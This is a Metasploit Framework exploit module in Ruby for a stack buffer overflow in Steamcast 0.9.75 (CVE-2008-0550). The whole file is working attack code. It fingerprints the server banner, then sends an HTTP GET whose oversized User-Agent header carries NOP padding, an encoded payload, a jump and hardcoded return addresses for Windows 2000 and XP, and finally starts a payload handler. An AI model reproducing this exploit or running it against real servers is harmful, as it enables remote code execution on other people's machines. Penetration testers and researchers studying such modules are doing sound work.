96 lines
2.5 KiB
Ruby
96 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending
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an overly long User-Agent in an HTTP GET request, an attacker may be able to
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execute arbitrary code.
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},
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'Author' => [
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'LSO <lso[at]hushmail.com>', # Original exploit module
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'patrick' # Added references and check code. Default target to XP.
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],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-0550' ],
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[ 'OSVDB', '42670' ],
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[ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'],
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[ 'BID', '33898' ],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested OK by patrick 20090225
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[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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],
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'DisclosureDate' => 'Jan 24 2008',
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'DefaultTarget' => 1))
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register_options([ Opt::RPORT(8000) ], self)
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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res = sock.get(-1, 3)
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disconnect
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if (res =~ /Steamcast\/0.9.75/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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juju = "GET / HTTP/1.0\r\n"
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juju << "User-Agent: " + make_nops(1008 - payload.encoded.length)
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juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2)
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juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV')
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juju << rand_text_alpha_upper(275)
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print_status("Trying target #{target.name}...")
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sock.put(juju + "\r\n\r\n")
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handler
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disconnect
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end
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end
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